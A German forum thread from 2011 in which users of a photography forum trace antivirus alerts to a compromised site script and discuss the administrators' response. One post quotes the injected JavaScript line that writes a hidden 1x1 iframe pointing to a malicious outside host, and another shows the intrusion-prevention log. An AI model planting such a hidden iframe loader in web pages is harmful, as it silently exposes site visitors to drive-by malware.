Virus Alert bei Bannerwerbung

Georgius · 15 Mai 2011

So, jetzt hatte ich auch eine Virenmeldung.
FF wollte ein Plugin haben. Es war aber nicht zu ermitteln welches Plugin es wollte.
Vorher hat mein Virenscanner auch Alarm geschlagen.
Den Link

Code:

http://jewelrynoir.ce.ms/showthread.php?t=10480506

hab ich lt. AdBlockplus auf jeder Seite, im Quellencode kann ich aber nichts davon finden.

Gast_99693 · 15 Mai 2011

Georgius schrieb:
Den Link ... hab ich lt. AdBlockplus auf jeder Seite

Frage: Wo im ABP kann man das sehen? Ich kann da nur die Treffer der Filterregeln sehen... Ich hab Dr. Evils Liste und easylist abboniert und konnte da nichts sehen.

im Quellencode kann ich aber nichts davon finden.

Ja, geht mir genauso. Sehr merkwürdig. Ist vielleicht eine Weiterleitung oder so, die man nicht direkt im HTML-Quellcode, sondern nur in den HTTP-Headern sehen kann.

Georgius · 15 Mai 2011

starscapefan schrieb:
Frage: Wo im ABP kann man das sehen? Ich kann da nur die Treffer der Filterregeln sehen... Ich hab Dr. Evils Liste und easylist abboniert und konnte da nichts sehen.

Blockbare Elemente öffnen ... STRG+Shift+V

interface01 · 15 Mai 2011

Das hat sich im referenzierten Javascript versteckt:

Quelltext:

PHP:

<script type="text/javascript" src="clientscript/yui/connection/connection-min.js?v=386"></script>

Javascript-Datei - erste Zeile:

PHP:

document.write('<iframe src="http://jewelrynoir.ce.ms/showthread.php?t=10480506" width="1" height="1" frameborder="0"></iframe>');

Josef17 · 15 Mai 2011

Antivir muckt nicht, alles im grünen Bereich

Gast_99693 · 15 Mai 2011

Georgius schrieb:
Blockbare Elemente öffnen ... STRG+Shift+V

Danke, jetzt sehe ichs auch. Typ: Frame.

interface01 schrieb:
Das hat sich im referenzierten Javascript versteckt:

Ach Du Sch... also doch schon wieder (?) ein IFrame. Was ist hier los?

@scorpio: Sag mal, könnte es sein, dass irgendjemand unbemerkt Zugriff auf den eigentlichen Web-Server des Forums erlangt hat, wo die statischen HTML/CSS/JS-Seiten liegen? Also keine Lücke im vBulletin, sondern z.B. in der Administrationssoftware (o.ä.) des Server-Rechners? Nur so eine Idee... wäre aber eine Möglichkeit, wie jemand Iframes im Quellcode verstecken könnte.

Edit: Eben gerade beim Abschicken der Änderung ("@scorpio...") wieder die Warnmeldung von NIS bekommen. Scheint jetzt also auch ab und zu bei gleichbleibender IP zu passieren.

Zur Info hier die Ausgabe von NIS (meine IP hab ich ausgeixt):

Code:

Kategorie:Intrusion Prevention
Datum/Uhrzeit,Risiko,Aktivität,Status,Empfohlene Aktion,Name der IPS-Warnung,Standardaktionen,Durchgeführte Aktion,Angreifender Computer,Angreifer-URL,Zieladresse,Quelladresse,Beschreibung des Datenverkehrs
15.05.2011 15:13,Hoch,Ein Eindringversuch von jewelrynoir.ce.ms wurde blockiert.,Blockiert,Keine Aktion erforderlich,Web Attack: Malicious Toolkit Website 9,Keine Aktion erforderlich,Keine Aktion erforderlich,"jewelrynoir.ce.ms (89.208.34.118, 80)",jewelrynoir.ce.ms/showthread.php?t=10480506,"xxx (xxx.xxx.xxx.xxx, 3668)",89.208.34.118 (89.208.34.118),"TCP, www-http"

Gast_127600 · 15 Mai 2011

Ich bekomme nachwievor keine Meldung von Antivir.

AdO089 · 15 Mai 2011

So, mein Kaspersky hat auch angeschlagen als ich das Forum aufgerufen hatte. Bei mir war es aber keine Viren- sondern eine Trojaner-Warnung.

Ich benutze auch nicht Firefox sondern Opera 11.10, mit Win XP SP3.

Irgendwo ist noch etwas ins Forum eingebaut, da ja das iframe entfernt wurde,...

Gruß,
Andi

interface01 · 15 Mai 2011

AdO089 schrieb:
Irgendwo ist noch etwas ins Forum eingebaut, da ja das iframe entfernt wurde,...

Anscheinend gibt einen neuen.

Siehe https://www.dslr-forum.de/showpost.php?p=8287225&postcount=304

scorpio · 15 Mai 2011

Wir sind dran.
Wir können das Board aber nicht abschalten, da wir Eure Rückmeldungen brauchen.

Gast_99693 · 15 Mai 2011

interface01 schrieb:
Anscheinend gibt einen neuen.

Oder alten! Wenn ich die URL hxxp://www.dslr-forum.de/clientscript/yui/connection/connection-min.js?v=386 angebe, sagt Firefox mir bei den Seiteninformationen: Dienstag, 11. Januar 2011 09:08:12. Aber vielleicht ist ja zusammen mit der Datei auch deren letztes Änderungsdatum manipuliert worden.
Ok, das nehm ich zurück, das Iframe ist jetzt verschwunden, ich nehme also an, das vor ein paar Minuten die Originalversion der Datei zurückgespielt wurde, und die habe ich gesehen, richtig?

AdBlockPlus zeigt den Link jetzt auch nicht mehr an. IP-Neustart probiere ich gleich auch nochmal aus.

AdO089 · 15 Mai 2011

Ja, aber dann muss es doch eine Sicherheitslücke geben, die es ermöglicht das Board immer wieder aufs neue zu Hacken?

Gruß,
Andi

Gast_99693 · 15 Mai 2011

AdO089 schrieb:
Ja, aber dann muss es doch eine Sicherheitslücke geben, die es ermöglicht das Board immer wieder aufs neue zu Hacken?

Das ist auch meine Befürchtung, siehe hier.

starscapefan schrieb:
AdBlockPlus zeigt den Link jetzt auch nicht mehr an. IP-Neustart probiere ich gleich auch nochmal aus.

Quellcode sauber, AdBlockPlus zeigt nichts, IP-Neustart: Keine NIS-Meldung mehr. Forum scheint wieder sauber zu sein.

Das Forum ist zur Zeit übrigens teilweise extrem langsam (Wartezeiten), hängt das evtl. mit den Änderungen zusammen?

Bawire · 15 Mai 2011

Bei mir kommt auch keine Meldung mehr

interface01 · 15 Mai 2011

starscapefan schrieb:
das Iframe ist jetzt verschwunden, ich nehme also an, das vor ein paar Minuten die Originalversion der Datei zurückgespielt wurde, und die habe ich gesehen, richtig?

Wahrscheinlich - besagte Javascript-Datei ist wieder sauber.

Näheres wird aber Scorpio wissen.

Edit: Ich empfehle dennoch den Browserverlauf zu löschen, da auch Javascript-Dateien in selbigen geladen werden.

knipskurt · 15 Mai 2011

Nach neuerlichem IP Neustart kein Hinweis mehr auf fehlendes Plugin.

Gast_112574 · 15 Mai 2011

knipskurt schrieb:
Nach neuerlichem IP Neustart kein Hinweis mehr auf fehlendes Plugin.

Schade, ich habe eben auch einen Neustart des Routers durchführt um zu sehen ob die Meldung dann auch bei mir auftritt obwohl ich eine Feste IP auf meinem Zugang habe.

eifelthommy · 15 Mai 2011

scorpio schrieb:
Wir sind dran.
Wir können das Board aber nicht abschalten, da wir Eure Rückmeldungen brauchen.

Nach dem Motto "Wir brauchen die ahnungslosen Passanten, um zu sehen, wo sich der Heckenschütze versteckt"? Sorry, Crowdsourcing schön und gut aber das kann ja wohl nicht sein! Eine Warnung mit einem Link zum Forum für die, die sich sicher glauben ist meines Erachtens das höchste der Gefühle - alles andere ist grob fahrlässig!

Gruß
thommy

PS: Ich habe Java und JavaScript deaktiviert, bis sich das hier geklärt hat.

scorpio · 15 Mai 2011

eifelthommy schrieb:
PS: Ich habe Java und JavaScript deaktiviert, bis sich das hier geklärt hat.

Es ist längst alles wieder bereinigt, wie Du lesen kannst.

Und eine Bitte habe ich an Dich:
Kannst Du mir erklären, wie wir Rückmeldungen der Nutzer erhalten, ob alles wieder ok ist, wenn wir sie gar nicht ins Board lassen?
Danke.

eifelthommy · 15 Mai 2011

scorpio schrieb:
Es ist längst alles wieder bereinigt, wie Du lesen kannst.

Und eine Bitte habe ich an Dich:
Kannst Du mir erklären, wie wir Rückmeldungen der Nutzer erhalten, ob alles wieder ok ist, wenn wir sie gar nicht ins Board lassen?
Danke.

Das ist unerheblich. Auch beim letzten mal war hier wieder "alles in Ordnung". Trial and error kann hier nicht die Vorgehensweise sein! Hier wird wohl möglich zig-fach Schaden angerichtet - und das DARF nicht sein. Bevor die Lücke nicht gefunden ist, kann man das doch nicht einfach weiterlaufen lassen!

Virus Alert bei Bannerwerbung

Georgius

Gast_99693

Guest

Georgius

interface01

Josef17

Gast_99693

Guest

Gast_127600

Guest

AdO089

interface01

scorpio

Administrator

Gast_99693

Guest

AdO089

Gast_99693

Guest

Bawire

interface01

knipskurt

Gast_112574

Guest

eifelthommy

scorpio

Administrator

eifelthommy